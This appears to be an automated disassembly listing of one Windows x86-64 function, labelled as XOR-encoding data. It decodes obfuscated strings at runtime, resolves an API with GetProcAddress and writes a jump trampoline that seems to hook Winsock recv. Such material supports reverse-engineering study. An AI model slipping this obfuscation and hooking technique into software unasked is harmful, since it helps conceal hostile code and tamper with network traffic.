Function at 0x1400553e0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x140092010]
xor rax, rsp
mov qword [rbp + 0x20], rax
mov r12, r9
mov r15, rdx
mov rdi, rcx
mov rsi, qword [0x140096838]
test rdx, rdx
je 0x140055536
test rsi, rsi
je 0x140055536
mov dword [rsp + 0x30], 0x6d648b90
mov dword [rsp + 0x34], 0x69602d6e
mov word [rsp + 0x38], 0x6a
mov byte [rsp + 0x3a], 1
xor ebx, ebx
mov ecx, ebx
nop word [rax + rax]
lea eax, [rcx - 2]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 9
jb 0x140055450
mov byte [rsp + 0x3a], bl
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8, rax
test rax, rax
jne 0x140055556
mov dword [rsp + 0x50], 0x17d217a5
mov dword [rsp + 0x54], 0x1821185d
mov dword [rsp + 0x58], 0x18621844
mov dword [rsp + 0x5c], 0x1869186d
mov dword [rsp + 0x60], 0x18631863
mov dword [rsp + 0x64], 0x187d1828
mov dword [rsp + 0x68], 0x182b1865
mov dword [rsp + 0x6c], 0x18621860
mov dword [rsp + 0x70], 0x186b186f
mov dword [rsp + 0x74], 0x187f1830
mov dword [rsp + 0x78], 0x18771866
mov dword [rsp + 0x7c], 0x18791878
mov dword [rbp - 0x80], 0x18731838
mov dword [rbp - 0x7c], 0x18751874
mov word [rbp - 0x78], bx
mov byte [rbp - 0x76], 1
mov ecx, 0x17fe
nop word [rax + rax]
lea eax, [rcx + rbx]
xor word [rsp + rbx*2 + 0x50], ax
inc rbx
cmp rbx, 0x1c
jb 0x140055500
mov byte [rbp - 0x76], 0
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140054ad0
lea rdx, [0x140054cb0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor al, al
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.14006c830
add rsp, 0x130
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov dword [rsp + 0x40], 0x65418bb0
mov dword [rsp + 0x44], 0x6a704266
mov word [rsp + 0x48], 0x6b
mov byte [rsp + 0x4a], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx - 2]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 9
jb 0x140055580
mov byte [rsp + 0x4a], bl
lea rdx, [rsp + 0x40]
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
jne 0x14005567f
mov dword [rsp + 0x50], 0x17d217a5
mov dword [rsp + 0x54], 0x1821185d
mov dword [rsp + 0x58], 0x18621844
mov dword [rsp + 0x5c], 0x1869186d
mov dword [rsp + 0x60], 0x18631863
mov dword [rsp + 0x64], 0x187d1828
mov dword [rsp + 0x68], 0x182b1865
mov dword [rsp + 0x6c], 0x1868186b
mov dword [rsp + 0x70], 0x182f187a
mov dword [rsp + 0x74], 0x18691875
mov dword [rsp + 0x78], 0x187c1862
mov dword [rsp + 0x7c], 0x18611866
mov dword [rbp - 0x80], 0x18791836
mov dword [rbp - 0x7c], 0x187d186c
mov dword [rbp - 0x78], 0x18771876
mov dword [rbp - 0x74], 0x18531832
mov dword [rbp - 0x70], 0x185e186a
mov dword [rbp - 0x6c], 0x18451844
mov dword [rbp - 0x68], 0x18571863
mov dword [rbp - 0x64], 0x1848184b
mov word [rbp - 0x60], bx
mov byte [rbp - 0x5e], 1
mov ecx, 0x17fe
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + rbx]
xor word [rsp + rbx*2 + 0x50], ax
inc rbx
cmp rbx, 0x28
jb 0x140055660
mov byte [rbp - 0x5e], 0
lea rdx, [rsp + 0x50]
jmp 0x14005551a
mov word [rbp], 0xb848
mov word [rbp + 0xa], 0xe0ff
mov qword [rbp + 2], rsi
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x1400968c8], eax
jle 0x1400557b2
lea rcx, [0x1400968c8]
call fcn.14006cb20
cmp dword [0x1400968c8], 0xffffffff
jne 0x1400557b2
mov dword [rsp + 0x30], 0x65418bb0
mov dword [rsp + 0x34], 0x6a704266
mov word [rsp + 0x38], 0x6b
mov byte [rsp + 0x3a], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx - 2]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 9
jb 0x1400556f0
mov byte [rsp + 0x3a], 0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], socket
mov byte [rsp + 0x50], 0
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140055730
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.140054920
nop
lea r8, [rsp + 0x50]
mov rdx, qword [0x140093078]
mov rcx, rdi
call fcn.14004e500
mov qword [0x140096820], rax
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1400557a6
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400557a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400557a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006c920
nop
lea rcx, [0x1400968c8]
call fcn.14006cac0
mov r8, qword [0x140096820]
test r8, r8
jne 0x140055890
mov dword [rsp + 0x50], 0x17d217a5
mov dword [rsp + 0x54], 0x1821185d
mov dword [rsp + 0x58], 0x18621844
mov dword [rsp + 0x5c], 0x1869186d
mov dword [rsp + 0x60], 0x18631863
mov dword [rsp + 0x64], 0x187d1828
mov dword [rsp + 0x68], 0x182b1865
mov dword [rsp + 0x6c], 0x1868186b
mov dword [rsp + 0x70], 0x182f187a
mov dword [rsp + 0x74], 0x18691875
mov dword [rsp + 0x78], 0x187c1862
mov dword [rsp + 0x7c], 0x18611866
mov dword [rbp - 0x80], 0x18791836
mov dword [rbp - 0x7c], 0x1876186c
mov dword [rbp - 0x78], 0x18701869
mov dword [rbp - 0x74], 0x1873186e
mov dword [rbp - 0x70], 0x18311872
mov dword [rbp - 0x6c], 0x1855186e
mov dword [rbp - 0x68], 0x18471863
mov dword [rbp - 0x64], 0x18641840
mov dword [rbp - 0x60], 0x18481852
mov dword [rbp - 0x5c], 0x1845
mov byte [rbp - 0x58], 1
mov ecx, 0x17fe
lea eax, [rcx + rbx]
xor word [rsp + rbx*2 + 0x50], ax
inc rbx
cmp rbx, 0x2b
jb 0x140055871
mov byte [rbp - 0x58], 0
lea rdx, [rsp + 0x50]
jmp 0x14005551a
mov r9d, recv
lea rdx, [rbp + 0x10]
mov rcx, rdi
call fcn.14004d360
test al, al
je 0x140055536
movzx eax, byte [rbp]
cmp byte [rbp + 0x10], al
jne 0x140055a3f
movzx eax, byte [rbp + 1]
cmp byte [rbp + 0x11], al
jne 0x140055a3f
movzx eax, byte [rbp + 0xa]
cmp byte [rbp + 0x1a], al
jne 0x140055a3f
movzx eax, byte [rbp + 0xb]
cmp byte [rbp + 0x1b], al
jne 0x140055a3f
mov dword [rsp + 0x50], 0x17d217a5
mov dword [rsp + 0x54], 0x1821185d
mov dword [rsp + 0x58], 0x18421844
mov dword [rsp + 0x5c], 0x1849184d
mov dword [rsp + 0x60], 0x18431843
mov dword [rsp + 0x64], 0x18331829
mov dword [rsp + 0x68], 0x185f182a
mov dword [rsp + 0x6c], 0x18681864
mov dword [rsp + 0x70], 0x186c182e
mov dword [rsp + 0x74], 0x1875187f
mov dword [rsp + 0x78], 0x18331877
mov dword [rsp + 0x7c], 0x18741863
mov dword [rbp - 0x80], 0x18371865
mov dword [rbp - 0x7c], 0x18751879
mov dword [rbp - 0x78], 0x187e1868
mov dword [rbp - 0x74], 0x1879187d
mov dword [rbp - 0x70], 0x183f1867
mov dword [rbp - 0x6c], 0x184e1848
mov dword [rbp - 0x68], 0x1848184d
mov dword [rbp - 0x64], 0x18411841
mov dword [rbp - 0x60], 0x18061807
mov dword [rbp - 0x5c], 0x18481808
mov dword [rbp - 0x58], 0x18441844
mov dword [rbp - 0x54], 0x18451858
mov dword [rbp - 0x50], 0x185d184b
mov dword [rbp - 0x4c], 0x18581810
mov dword [rbp - 0x48], 0x1840185c
mov dword [rbp - 0x44], 0x18541840
mov dword [rbp - 0x40], 0x18541858
mov dword [rbp - 0x3c], 0x1819185d
mov dword [rbp - 0x38], 0x185d1855
mov dword [rbp - 0x34], 0x1856181c
mov dword [rbp - 0x30], 0x1852185a
mov dword [rbp - 0x2c], 0x18311821
mov dword [rbp - 0x28], 0x18261832
mov dword [rbp - 0x24], 0x18651836
mov dword [rbp - 0x20], 0x18321834
mov dword [rbp - 0x1c], 0x18271826
mov dword [rbp - 0x18], 0x18251823
mov dword [rbp - 0x14], 0x1872182b
mov dword [rbp - 0x10], 0x186f
mov byte [rbp - 0xc], 1
mov ecx, 0x17fe
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + rbx]
xor word [rsp + rbx*2 + 0x50], ax
inc rbx
cmp rbx, 0x51
jb 0x140055a20
mov byte [rbp - 0xc], 0
lea rdx, [rsp + 0x50]
jmp 0x14005551a
mov r9d, recv
lea r8, [rbp]
mov rdx, qword [0x140096820]
mov rcx, rdi
call fcn.14004d400
test al, al
je 0x140055536
mov dword [rsp + 0x28], reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 1]
mov rcx, r12
call r14
mov qword [r15], rax
mov r9d, recv
lea r8, [rbp + 0x10]
mov rdx, qword [0x140096820]
mov rcx, rdi
call fcn.14004d400
mov al, 1
jmp 0x140055538